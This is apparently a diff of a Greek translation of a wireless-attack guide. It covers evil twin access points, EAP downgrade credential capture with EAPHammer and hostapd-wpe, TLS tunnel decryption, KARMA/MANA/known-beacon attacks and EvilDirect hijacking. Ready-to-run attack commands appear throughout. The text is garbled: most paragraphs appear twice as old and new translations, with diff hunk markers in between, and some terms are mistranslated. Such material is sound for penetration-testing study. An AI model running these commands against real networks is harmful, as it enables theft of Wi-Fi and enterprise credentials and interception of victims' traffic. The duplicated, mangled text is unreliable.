Παρακαλώ, σημειώστε ότι από προεπιλογή, αν ένα ESSID στην PNL είναι αποθηκευμένο ως WPA προστατευμένο, η συσκευή δεν θα συνδεθεί αυτόματα σε ένα Open evil Twin. Μπορείτε να προσπαθήσετε να DoS το πραγματικό AP και να ελπίζετε ότι ο χρήστης θα συνδεθεί χειροκίνητα στο Open evil twin σας, ή μπορείτε να DoS το πραγματικό AP και να χρησιμοποιήσετε ένα WPA Evil Twin για να καταγράψετε το handshake (χρησιμοποιώντας αυτή τη μέθοδο δεν θα μπορείτε να αφήσετε το θύμα να συνδεθεί σε εσάς καθώς δεν γνωρίζετε το PSK, αλλά μπορείτε να καταγράψετε το handshake και να προσπαθήσετε να το σπάσετε).
_Κάποια λειτουργικά συστήματα και προγράμματα αντιιών θα προειδοποιήσουν τον χρήστη ότι η σύνδεση σε ένα ανοιχτό δίκτυο είναι επικίνδυνη..._
_Ορισμένα λειτουργικά συστήματα και AV θα προειδοποιήσουν τον χρήστη ότι η σύνδεση σε ένα Open δίκτυο είναι επικίνδυνη..._
### WPA/WPA2 Evil Twin
Μπορείτε να δημιουργήσετε ένα **Evil Twin χρησιμοποιώντας WPA/2** και εάν οι συσκευές έχουν ρυθμιστεί να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Πάντως, **για να ολοκληρωθεί το 4-οδηγό-χειραψίας** χρειάζεται επίσης να **γνωρίζετε** το **κωδικό πρόσβασης** που θα χρησιμοποιήσει ο πελάτης. Αν δεν τον **γνωρίζετε**, η **σύνδεση δεν θα ολοκληρωθεί**.
Μπορείτε να δημιουργήσετε ένα **Evil Twin χρησιμοποιώντας WPA/2** και αν οι συσκευές έχουν ρυθμιστεί να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Ούτως ή άλλως, **για να ολοκληρώσετε το 4-way-handshake** πρέπει επίσης να **γνωρίζετε** τον **κωδικό πρόσβασης** που θα χρησιμοποιήσει ο πελάτης. Αν **δεν τον γνωρίζετε**, η **σύνδεση δεν θα ολοκληρωθεί**.
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### Επιχειρησιακός Κακόβουλος Δίδυμος
### Enterprise Evil Twin
Για να κατανοήσετε αυτές τις επιθέσεις, θα σας συνιστούσα να διαβάσετε πρώτα τη σύντομη [εξήγηση του WPA Enterprise](./#wpa-enterprise-mgt).
Για να κατανοήσετε αυτές τις επιθέσεις, θα συνιστούσα να διαβάσετε πρώτα την σύντομη [εξήγηση WPA Enterprise](./#wpa-enterprise-mgt).
**Χρησιμοποιώντας το hostapd-wpe**
Το `hostapd-wpe` χρειάζεται ένα αρχείο **διαμόρφωσης** για να λειτουργήσει. Για να **αυτοματοποιήσετε** τη δημιουργία αυτών των διαμορφώσεων, μπορείτε να χρησιμοποιήσετε το [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (κατεβάστε το αρχείο python μέσα στον φάκελο _/etc/hostapd-wpe/_).
`hostapd-wpe` χρειάζεται ένα **αρχείο ρύθμισης** για να λειτουργήσει. Για να **αυτοματοποιήσετε** τη δημιουργία αυτών των ρυθμίσεων, μπορείτε να χρησιμοποιήσετε [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (κατεβάστε το αρχείο python μέσα στο _/etc/hostapd-wpe/_).
```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
Στο αρχείο ρύθμισης μπορείτε να επιλέξετε πολλά διαφορετικά πράγματα όπως το ssid, κανάλι, αρχεία χρηστών, κλειδί/κωδικό, παράμετρους dh, έκδοση wpa και πιστοποίηση...
Στο αρχείο ρυθμίσεων μπορείτε να επιλέξετε πολλά διαφορετικά πράγματα όπως ssid, κανάλι, αρχεία χρηστών, cret/key, παραμέτρους dh, έκδοση wpa και αυθεντικοποίηση...
[**Χρησιμοποιώντας το hostapd-wpe με EAP-TLS για να επιτρέψετε σε οποιοδήποτε πιστοποιητικό να συνδεθεί.**](evil-twin-eap-tls.md)
@ -587,63 +590,60 @@ hostapd-wpe ./victim/victim.conf -s
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
Από προεπιλογή, το EAPHammer χρησιμοποιεί αυτές τις μεθόδους πιστοποίησης (σημειώστε το GTC ως το πρώτο που θα δοκιμάσει για να λάβει κωδικούς πρόσβασης κειμένου και στη συνέχεια τη χρήση πιο αξιόπιστων μεθόδων πιστοποίησης):
Κατά προεπιλογή, το EAPHammer προτείνει αυτές τις μεθόδους αυθεντικοποίησης (σημειώστε το GTC ως την πρώτη που θα προσπαθήσει να αποκτήσει κωδικούς πρόσβασης σε απλή μορφή και στη συνέχεια τη χρήση πιο ανθεκτικών μεθόδων αυθεντικοποίησης):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
Αυτή είναι η προεπιλεγμένη μεθοδολογία για να αποφεύγονται μακροχρόνιες συνδέσεις. Ωστόσο, μπορείτε επίσης να καθορίσετε στον εξυπηρετητή τις μεθόδους πιστοποίησης από την ασθενέστερη στην ισχυρότερη:
Αυτή είναι η προεπιλεγμένη μεθοδολογία για να αποφευχθούν οι μεγάλες χρόνοι σύνδεσης. Ωστόσο, μπορείτε επίσης να καθορίσετε στους διακομιστές τις μεθόδους αυθεντικοποίησης από τις πιο αδύναμες στις πιο ισχυρές:
```
--negotiate weakest
```
Ή μπορείτε επίσης να χρησιμοποιήσετε:
* `--negotiate gtc-downgrade` για να χρησιμοποιήσετε μια υψηλά αποδοτική υλοποίηση GTC downgrade (κωδικοί πρόσβασης κειμένου)
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` για να καθορίσετε χειροκίνητα τις προσφερόμενες μεθόδους (προσφέροντας τις ίδιες μεθόδους πιστοποίησης με την ίδια σειρά με τον οργανισμό, η επίθεση θα είναι πολύ πιο δύσκολο να ανιχνευθεί).
* [Βρείτε περισσότερες πληροφορίες στο wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
* `--negotiate gtc-downgrade` για να χρησιμοποιήσετε μια πολύ αποδοτική υλοποίηση υποβάθμισης GTC (κωδικοί πρόσβασης σε απλό κείμενο)
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` για να καθορίσετε χειροκίνητα τις μεθόδους που προσφέρονται (η προσφορά των ίδιων μεθόδων αυθεντικοποίησης με την ίδια σειρά όπως η οργάνωση θα κάνει την επίθεση πολύ πιο δύσκολη να ανιχνευθεί).
* [Βρείτε περισσότερες πληροφορίες στη wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Χρησιμοποιώντας το Airgeddon**
Το `Airgeddon` μπορεί να χρησιμοποιήσει προηγουμένως δημιουργημένα πιστοποιητικά για να προσφέρει πιστοποίηση EAP σε δίκτυα WPA/WPA2-Enterprise. Το ψεύτικο δίκτυο θα υποβαθμίσει το πρωτόκολλο σύνδεσης σε EAP-MD5 ώστε να είναι σε θέση να **καταγράψει τον χρήστη και το MD5 του κωδικού πρόσβασης**. Αργότερα, ο επιτιθέμενος μπορεί να προσπαθήσει να αποκρυπτογραφήσει τον κωδικό πρόσβασης.\
Το `Airggedon` σας προσφέρει τη δυνατότητα μιας **συνεχούς επίθεσης Evil Twin (θορυβώδης)** ή **να δημιουργήσετε μόνο την Επίθεση Evil μέχρι να συνδεθεί κάποιος (ομαλή).**
`Airgeddon` μπορεί να χρησιμοποιήσει προηγουμένως παραγόμενα πιστοποιητικά για να προσφέρει EAP αυθεντικοποίηση σε δίκτυα WPA/WPA2-Enterprise. Το ψεύτικο δίκτυο θα υποβαθμίσει το πρωτόκολλο σύνδεσης σε EAP-MD5 ώστε να μπορεί να **συλλάβει τον χρήστη και το MD5 του κωδικού πρόσβασης**. Αργότερα, ο επιτιθέμενος μπορεί να προσπαθήσει να σπάσει τον κωδικό πρόσβασης.\
`Airgeddon` σας προσφέρει τη δυνατότητα μιας **συνεχιζόμενης επίθεσης Evil Twin (θορυβώδης)** ή **μόνο να δημιουργήσει την επίθεση Evil μέχρι να συνδεθεί κάποιος (ομαλή).**
![](<../../.gitbook/assets/image (129).png>)
![](<../../.gitbook/assets/image (936).png>)
### Αποσφαλμάτωση των τούνελ TLS PEAP και EAP-TTLS σε επιθέσεις Evil Twins
### Αποσφαλμάτωση PEAP και EAP-TTLS TLS tunnels σε επιθέσεις Evil Twins
_Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PEAP, αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο τούνελ TLS, αυτό πρέπει να λειτουργεί επίσης με το EAP-TTLS_
_Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PEAP αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο TLS tunnel αυτό θα πρέπει επίσης να λειτουργεί με EAP-TTLS_
Μέσα στη **διαμόρφωση** του _hostapd-wpe_ **σχολιάστε** τη γραμμή που περιέχει το _**dh\_file**_ (από `dh_file=/etc/hostapd-wpe/certs/dh` σε `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Αυτό θα κάνει το `hostapd-wpe` να **ανταλλάσσει κλειδιά χρησιμοποιώντας RSA** αντί για DH, έτσι θα μπορείτε να **αποκρυπτογραφήσετε** την κίνηση αργότερα **γνωρίζοντας το ιδιωτικό κλειδί των διακομιστών**.
Μέσα στην **διαμόρφωση** του _hostapd-wpe_ **σχολιάστε** τη γραμμή που περιέχει _**dh\_file**_ (από `dh_file=/etc/hostapd-wpe/certs/dh` σε `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Αυτό θα κάνει το `hostapd-wpe` να **ανταλλάσσει κλειδιά χρησιμοποιώντας RSA** αντί για DH, έτσι θα μπορείτε να **αποκρυπτογραφήσετε** την κίνηση αργότερα **γνωρίζοντας το ιδιωτικό κλειδί του διακομιστή**.
Τώρα ξεκινήστε το **Evil Twin** χρησιμοποιώντας το **`hostapd-wpe`** με αυτή την τροποποιημένη διαμόρφωση όπως συνήθως. Επίσης, ξεκινήστε το **`wireshark`** στη **διεπαφή** που εκτελεί την επίθεση Evil Twin.
Τώρα ξεκινήστε το **Evil Twin** χρησιμοποιώντας **`hostapd-wpe`** με αυτή τη τροποποιημένη διαμόρφωση όπως συνήθως. Επίσης, ξεκινήστε **`wireshark`** στη **διεύθυνση** που εκτελεί την επίθεση Evil Twin.
Τώρα ή αργότερα (όταν έχετε ήδη καταγράψει κάποιες προσπάθειες πιστοποίησης) μπορείτε να προσθέσετε το ιδιωτικό κλειδί RSA στο wireshark στο: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Τώρα ή αργότερα (όταν έχετε ήδη συλλάβει κάποιες προθέσεις αυθεντικοποίησης) μπορείτε να προσθέσετε το ιδιωτικό RSA κλειδί στο wireshark στο: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Προσθέστε μια νέα καταχώριση και συμπληρώστε τη φόρμα με αυτές τις τιμές: **Διεύθυνση IP = οποιαδήποτε** -- **Θύρα = 0** -- **Πρωτόκολλο = δεδομένα** -- **Αρχείο Κλειδιού** (**επιλέξτε το αρχείο κλειδιού σας**, για να αποφύγετε προβλήματα επιλέξτε ένα αρχείο κλειδιού **χωρίς κωδικό πρόσβασης**).
Προσθέστε μια νέα καταχώρηση και συμπληρώστε τη φόρμα με αυτές τις τιμές: **Διεύθυνση IP = οποιαδήποτε** -- **Θύρα = 0** -- **Πρωτόκολλο = δεδομένα** -- **Αρχείο Κλειδιού** (**επιλέξτε το αρχείο κλειδιού σας**, για να αποφύγετε προβλήματα επιλέξτε ένα αρχείο κλειδιού **χωρίς προστασία κωδικού πρόσβασης**).
![](<../../.gitbook/assets/image (151).png>)
![](<../../.gitbook/assets/image (687).png>)
Και δείτε το νέο **"Αποκρυπτογραφημένο TLS" tab**:
Και κοιτάξτε την νέα **καρτέλα "Αποκρυπτογραφημένο TLS"**:
![](<../../.gitbook/assets/image (152).png>)
![](<../../.gitbook/assets/image (231).png>)
## Επίθεση KARMA, MANA, Loud MANA και Known beacons
## KARMA, MANA, Loud MANA και επιθέσεις γνωστών beacon
### Λίστες μαύρων/λευκών MAC και ESSID
### ESSID και MAC μαύρες/λευκές λίστες
Διαφορετικοί τύποι Λιστών Φίλτρων Ελέγχου Πρόσβασης Μέσω MAC (MFACLs) και οι αντίστοιχοι τρόποι και επιπτώσεις στη συμπεριφορά ενός ψεύτικου Σημείου Πρόσβασης (AP):
Διαφορετικοί τύποι Λιστών Φίλτρων Πρόσβασης Μέσων (MFACLs) και οι αντίστοιχες λειτουργίες και επιδράσεις τους στη συμπεριφορά ενός κακόβουλου Σημείου Πρόσβασης (AP):
1. **Λευκή λίστα βάσει MAC**:
- Το ψεύτικο AP θα ανταποκρίνεται μόνο σε αιτήματα έρευνας από συσκευές που έχουν καθοριστεί στη λίστα λευκών, παραμένοντας αόρατο για όλους τους υπόλοιπους που δεν είναι στη λίστα.
2. **Μαύρη λίστα βάσει MAC**:
- Το ψεύτικο AP θα αγνοεί τα αιτήματα έρευνας από συσκευές στη μαύρη λίστα, κάνοντας αποτελεσματικά το ψεύτικο AP αόρατο σε αυτές τις συγκεκριμένες συσκευές.
3. **Λευκή λίστα βάσει ESSID**:
- Το ψεύτικο AP θα ανταποκρίνεται σε αιτήματα έρευνας μόνο για συγκεκριμένα ESSIDs που αναφέρονται, κάνοντάς το αόρατο σε συσκευές που δεν περιέχουν αυτά τα ESSIDs στις Λίστες Προτιμώμενων Δικτύων τους (PNLs).
4. **Μαύρη λίστα βάσει ESSID**:
- Το ψεύτικο AP δεν θα ανταποκρίνεται σε αιτήματα έρευνας για τα συγκεκριμένα ESSIDs στη μαύρη λίστα, κάνοντάς το αόρατο σε συσκευές που αναζητούν αυτά τα συγκεκριμένα δίκτυα.
1. **Λευκή Λίστα βάσει MAC**:
* Το κακόβουλο AP θα απαντήσει μόνο σε αιτήματα probe από συσκευές που καθορίζονται στη λευκή λίστα, παραμένοντας αόρατο σε όλες τις άλλες που δεν αναφέρονται.
2. **Μαύρη Λίστα βάσει MAC**:
* Το κακόβουλο AP θα αγνοήσει τα αιτήματα probe από συσκευές στη μαύρη λίστα, καθιστώντας το κακόβουλο AP αόρατο για αυτές τις συγκεκριμένες συσκευές.
3. **Λευκή Λίστα βάσει SSID**:
* Το κακόβουλο AP θα απαντήσει σε αιτήματα probe μόνο για συγκεκριμένα ESSIDs που αναφέρονται, καθιστώντας το αόρατο για συσκευές των οποίων οι Λίστες Προτιμώμενων Δικτύων (PNLs) δεν περιέχουν αυτά τα ESSIDs.
4. **Μαύρη Λίστα βάσει SSID**:
* Το κακόβουλο AP δεν θα απαντήσει σε αιτήματα probe για τα συγκεκριμένα ESSIDs στη μαύρη λίστα, καθιστώντας το αόρατο για συσκευές που αναζητούν αυτά τα συγκεκριμένα δίκτυα.
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -665,33 +665,33 @@ name3
```
### KARMA
Αυτή η μέθοδος επιτρέπει σε έναν **εισβολέα να δημιουργήσει ένα κακόβουλο σημείο πρόσβασης (AP) που ανταποκρίνεται σε όλα τα αιτήματα έρευνας από συσκευές που αναζητούν σύνδεση σε δίκτυα**. Αυτή η τεχνική **εξαπατά τις συσκευές να συνδεθούν σε ένα AP του εισβολέα** μιμούμενο τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το ψεύτικο AP, ολοκληρώνεται η σύνδεση, οδηγώντας τη συσκευή να συνδεθεί λανθασμένα στο δίκτυο του εισβολέα.
Αυτή η μέθοδος επιτρέπει σε έναν **επιτιθέμενο να δημιουργήσει ένα κακόβουλο σημείο πρόσβασης (AP) που απαντά σε όλα τα αιτήματα αναζήτησης** από συσκευές που επιδιώκουν να συνδεθούν σε δίκτυα. Αυτή η τεχνική **παγιδεύει τις συσκευές να συνδεθούν στο AP του επιτιθέμενου** μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το κακόβουλο AP, ολοκληρώνει τη σύνδεση, οδηγώντας τη συσκευή να συνδεθεί κατά λάθος στο δίκτυο του επιτιθέμενου.
### MANA
Στη συνέχεια, **οι συσκευές άρχισαν να αγνοούν τις μη αποστελλόμενες απαντήσεις δικτύου**, μειώνοντας την αποτελεσματικότητα της αρχικής επίθεσης karma. Ωστόσο, μια νέα μέθοδος, γνωστή ως **επίθεση MANA**, παρουσιάστηκε από τους Ian de Villiers και Dominic White. Αυτή η μέθοδος περιλαμβάνει το κακόβουλο AP **να καταγράφει τις Προτιμώμενες Λίστες Δικτύων (PNL) από τις συσκευές απαντώντας στα αιτήματα έρευνας εκπομπής τους** με ονόματα δικτύων (SSIDs) που προηγουμένως είχαν ζητηθεί από τις συσκευές. Αυτή η εξελιγμένη επίθεση παρακάμπτει τις προστασίες κατά της αρχικής επίθεσης karma εκμεταλλευόμενη τον τρόπο με τον οποίο οι συσκευές θυμούνται και δίνουν προτεραιότητα σε γνωστά δίκτυα.
Στη συνέχεια, **οι συσκευές άρχισαν να αγνοούν τις μη ζητηθείσες απαντήσεις δικτύου**, μειώνοντας την αποτελεσματικότητα της αρχικής επίθεσης karma. Ωστόσο, μια νέα μέθοδος, γνωστή ως **επίθεση MANA**, εισήχθη από τους Ian de Villiers και Dominic White. Αυτή η μέθοδος περιλαμβάνει το κακόβουλο AP **να καταγράφει τις Λίστες Προτιμώμενων Δικτύων (PNL) από τις συσκευές απαντώντας στα αιτήματα αναζήτησης τους** με ονόματα δικτύων (SSIDs) που είχαν ζητηθεί προηγουμένως από τις συσκευές. Αυτή η εξελιγμένη επίθεση παρακάμπτει τις προστασίες κατά της αρχικής επίθεσης karma εκμεταλλευόμενη τον τρόπο που οι συσκευές θυμούνται και ιεραρχούν τα γνωστά δίκτυα.
Η επίθεση MANA λειτουργεί παρακολουθώντας τόσο τα κατευθυνόμενα όσο και τα εκπεμπόμενα αιτήματα έρευνας από τις συσκευές. Για τα κατευθυνόμενα αιτήματα, καταγράφει τη διεύθυνση MAC της συσκευής και το όνομα του δικτύου που ζητήθηκε, προσθέτοντας αυτές τις πληροφορίες σε μια λίστα. Όταν λαμβάνεται ένα αίτημα εκπομπής, το AP απαντά με πληροφορίες που ταιριάζουν με οποιοδήποτε από τα δίκτυα στη λίστα της συσκευής, προσελκύοντας τη συσκευή να συνδεθεί στο κακόβουλο AP.
Η επίθεση MANA λειτουργεί παρακολουθώντας τόσο τα κατευθυνόμενα όσο και τα αιτήματα αναζήτησης εκπομπής από τις συσκευές. Για τα κατευθυνόμενα αιτήματα, καταγράφει τη διεύθυνση MAC της συσκευής και το ζητούμενο όνομα δικτύου, προσθέτοντας αυτές τις πληροφορίες σε μια λίστα. Όταν ληφθεί ένα αίτημα εκπομπής, το AP απαντά με πληροφορίες που ταιριάζουν με οποιοδήποτε από τα δίκτυα στη λίστα της συσκευής, προσελκύοντας τη συσκευή να συνδεθεί στο κακόβουλο AP.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Δυνατή επίθεση MANA
### Loud MANA
Μια επίθεση **Δυνατής MANA** είναι μια προηγμένη στρατηγική όταν οι συσκευές δεν χρησιμοποιούν κατευθυνόμενες αναζητήσεις ή όταν οι Λίστες Προτιμώμενων Δικτύων (PNL) τους είναι άγνωστες στον επιτιθέμενο. Λειτουργεί με βάση το γεγονός ότι **οι συσκευές στην ίδια περιοχή πιθανόν να μοιράζονται κάποια ονόματα δικτύων στις λίστες PNL τους**. Αντί να ανταποκρίνεται εκλεκτικά, αυτή η επίθεση εκπέμπει απαντήσεις αναζήτησης για κάθε όνομα δικτύου (ESSID) που βρέθηκε στις συνδυασμένες PNL όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μιας συσκευής να αναγνωρίσει ένα γνωστό δίκτυο και να προσπαθήσει να συνδεθεί στο ψεύτικο Σημείο Πρόσβασης (AP).
Μια **Loud MANA επίθεση** είναι μια προηγμένη στρατηγική για περιπτώσεις που οι συσκευές δεν χρησιμοποιούν κατευθυνόμενη αναζήτηση ή όταν οι Λίστες Προτιμώμενων Δικτύων (PNL) τους είναι άγνωστες στον επιτιθέμενο. Λειτουργεί με την αρχή ότι **οι συσκευές στην ίδια περιοχή είναι πιθανό να μοιράζονται ορισμένα ονόματα δικτύων στις PNL τους**. Αντί να απαντούν επιλεκτικά, αυτή η επίθεση εκπέμπει απαντήσεις αναζήτησης για κάθε όνομα δικτύου (ESSID) που βρέθηκε στις συνδυασμένες PNL όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μια συσκευή να αναγνωρίσει ένα οικείο δίκτυο και να προσπαθήσει να συνδεθεί με το κακόβουλο Σημείο Πρόσβασης (AP).
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Επίθεση γνωστού Beacon
### Known Beacon attack
Όταν η επίθεση **Loud MANA** ενδέχεται να μην είναι αρκετή, η **επίθεση γνωστού Beacon** παρουσιάζει μια άλλη προσέγγιση. Αυτή η μέθοδος **εξαναγκάζει τη διαδικασία σύνδεσης με την προσομοίωση ενός AP που ανταποκρίνεται σε οποιοδήποτε όνομα δικτύου, περιηγούμενη μέσω μιας λίστας πιθανών ESSIDs** που προέρχονται από έναν κατάλογο λέξεων. Με αυτόν τον τρόπο προσομοιώνεται η ύπαρξη πολλών δικτύων, ελπίζοντας να ταιριάξει ένα ESSID μέσα στη λίστα προτιμήσεων του θύματος, προκειμένου να προκληθεί μια προσπάθεια σύνδεσης στο πλαστό AP. Η επίθεση μπορεί να ενισχυθεί συνδυάζοντάς την με την επιλογή `--loud` για μια πιο επιθετική προσπάθεια να παγιδεύσει συσκευές.
Όταν η **Loud MANA attack** μπορεί να μην είναι επαρκής, η **Known Beacon attack** προσφέρει μια άλλη προσέγγιση. Αυτή η μέθοδος **σπάει τη διαδικασία σύνδεσης προσομοιώνοντας ένα AP που απαντά σε οποιοδήποτε όνομα δικτύου, κυκλώνοντας μια λίστα πιθανών ESSIDs** που προέρχονται από μια λίστα λέξεων. Αυτό προσομοιώνει την παρουσία πολλών δικτύων, ελπίζοντας να ταιριάξει ένα ESSID μέσα στην PNL του θύματος, προκαλώντας μια προσπάθεια σύνδεσης στο κατασκευασμένο AP. Η επίθεση μπορεί να ενισχυθεί συνδυάζοντας την με την επιλογή `--loud` για μια πιο επιθετική προσπάθεια να παγιδεύσει συσκευές.
Το Eaphammer υλοποίησε αυτήν την επίθεση ως μια επίθεση MANA όπου όλα τα ESSIDs μέσα σε μια λίστα φορτώνονται (μπορείτε επίσης να συνδυάσετε αυτό με την επιλογή `--loud` για να δημιουργήσετε μια επίθεση Loud MANA + Known beacons):
Το Eaphammer υλοποίησε αυτή την επίθεση ως MANA attack όπου όλα τα ESSIDs μέσα σε μια λίστα φορτώνονται (μπορείτε επίσης να το συνδυάσετε με `--loud` για να δημιουργήσετε μια Loud MANA + Known beacons attack):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Επίθεση γνωστού Beacon Burst**
**Γνωστή επίθεση Beacon Burst**
Η **επίθεση γνωστού Beacon Burst** περιλαμβάνει τη **γρήγορη εκπομπή πλαισίων beacon για κάθε ESSID που αναφέρεται σε ένα αρχείο**. Αυτό δημιουργεί ένα πυκνό περιβάλλον με ψεύτικα δίκτυα, ενισχύοντας σημαντικά την πιθανότητα σύνδεσης συσκευών στον κακόβουλο AP, ειδικά όταν συνδυάζεται με μια επίθεση MANA. Αυτή η τεχνική εκμεταλλεύεται την ταχύτητα και τον όγκο για να κατακλύσει τους μηχανισμούς επιλογής δικτύου των συσκευών.
Η **Γνωστή επίθεση Beacon Burst** περιλαμβάνει **ταχεία μετάδοση πλαισίων beacon για κάθε ESSID που αναφέρεται σε ένα αρχείο**. Αυτό δημιουργεί ένα πυκνό περιβάλλον ψεύτικων δικτύων, αυξάνοντας σημαντικά την πιθανότητα συσκευών να συνδεθούν με το κακόβουλο AP, ειδικά όταν συνδυάζεται με μια επίθεση MANA. Αυτή η τεχνική εκμεταλλεύεται την ταχύτητα και τον όγκο για να κατακλύσει τους μηχανισμούς επιλογής δικτύου των συσκευών.
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -702,20 +702,21 @@ name3
```
## Wi-Fi Direct
**Το Wi-Fi Direct** είναι ένα πρωτόκολλο που επιτρέπει σε συσκευές να συνδέονται απευθείας μεταξύ τους χρησιμοποιώντας Wi-Fi χωρίς την ανάγκη για έναν παραδοσιακό ασύρματο σημείο πρόσβασης. Αυτή η δυνατότητα ενσωματώνεται σε διάφορες συσκευές Internet of Things (IoT), όπως εκτυπωτές και τηλεοράσεις, διευκολύνοντας την άμεση επικοινωνία μεταξύ συσκευών. Μια σημαντική λειτουργία του Wi-Fi Direct είναι ότι μια συσκευή αναλαμβάνει το ρόλο ενός σημείου πρόσβασης, γνωστού ως ο ιδιοκτήτης της ομάδας, για να διαχειριστεί τη σύνδεση.
**Wi-Fi Direct** είναι ένα πρωτόκολλο που επιτρέπει στις συσκευές να συνδέονται απευθείας μεταξύ τους χρησιμοποιώντας Wi-Fi χωρίς την ανάγκη παραδοσιακού ασύρματου σημείου πρόσβασης. Αυτή η δυνατότητα είναι ενσωματωμένη σε διάφορες συσκευές Internet of Things (IoT), όπως εκτυπωτές και τηλεοράσεις, διευκολύνοντας την άμεση επικοινωνία συσκευής προς συσκευή. Ένα αξιοσημείωτο χαρακτηριστικό του Wi-Fi Direct είναι ότι μία συσκευή αναλαμβάνει το ρόλο του σημείου πρόσβασης, γνωστό ως ο ιδιοκτήτης της ομάδας, για να διαχειρίζεται τη σύνδεση.
Η ασφάλεια για τις συνδέσεις Wi-Fi Direct καθορίζεται μέσω του **Wi-Fi Protected Setup (WPS)**, το οποίο υποστηρίζει αρκετές μεθόδους για ασφαλή ζεύξη, συμπεριλαμβανομένων:
- **Διαμόρφωση με Πάτημα Κουμπιού (PBC)**
- **Εισαγωγή PIN**
- **Επικοινωνία Κοντινού Πεδίου (NFC)**
Η ασφάλεια για τις συνδέσεις Wi-Fi Direct καθορίζεται μέσω του **Wi-Fi Protected Setup (WPS)**, το οποίο υποστηρίζει αρκετές μεθόδους για ασφαλή ζευγοποίηση, συμπεριλαμβανομένων:
Αυτές οι μέθοδοι, ιδιαίτερα η εισαγωγή PIN, είναι ευάλωτες στις ίδιες ευπάθειες με το WPS στα παραδοσιακά δίκτυα Wi-Fi, καθιστώντας τις στόχους για παρόμοια διανύσματα επίθεσης.
* **Push-Button Configuration (PBC)**
* **Είσοδος PIN**
* **Near-Field Communication (NFC)**
### Απαγωγή EvilDirect
Αυτές οι μέθοδοι, ιδιαίτερα η είσοδος PIN, είναι ευάλωτες στις ίδιες αδυναμίες όπως το WPS σε παραδοσιακά δίκτυα Wi-Fi, καθιστώντας τις στόχους για παρόμοιες επιθέσεις.
Η **Απαγωγή EvilDirect** είναι μια επίθεση που αφορά αποκλειστικά το Wi-Fi Direct. Αντικατοπτρίζει τον έννοια της επίθεσης Evil Twin αλλά στοχεύει στις συνδέσεις Wi-Fi Direct. Σε αυτό το σενάριο, ένας επιτιθέμενος υποκρίνεται έναν νόμιμο ιδιοκτήτη ομάδας με σκοπό να απατήσει τις συσκευές να συνδεθούν με ένα κακόβουλο οντότητα. Αυτή η μέθοδος μπορεί να εκτελεστεί χρησιμοποιώντας εργαλεία όπως το `airbase-ng` με την καθορισμένη κανάλι, ESSID και διεύθυνση MAC της υποκριτικής συσκευής:
### EvilDirect Hijacking
## Αναφορές
**EvilDirect Hijacking** είναι μια επίθεση που είναι συγκεκριμένη για το Wi-Fi Direct. Αντιγράφει την έννοια της επίθεσης Evil Twin αλλά στοχεύει σε συνδέσεις Wi-Fi Direct. Σε αυτό το σενάριο, ένας επιτιθέμενος προσποιείται έναν νόμιμο ιδιοκτήτη ομάδας με σκοπό να παραπλανήσει τις συσκευές να συνδεθούν σε μια κακόβουλη οντότητα. Αυτή η μέθοδος μπορεί να εκτελεστεί χρησιμοποιώντας εργαλεία όπως το `airbase-ng` καθορίζοντας το κανάλι, το ESSID και τη διεύθυνση MAC της προσποιούμενης συσκευής:
## References
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
@ -728,33 +729,34 @@ name3
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
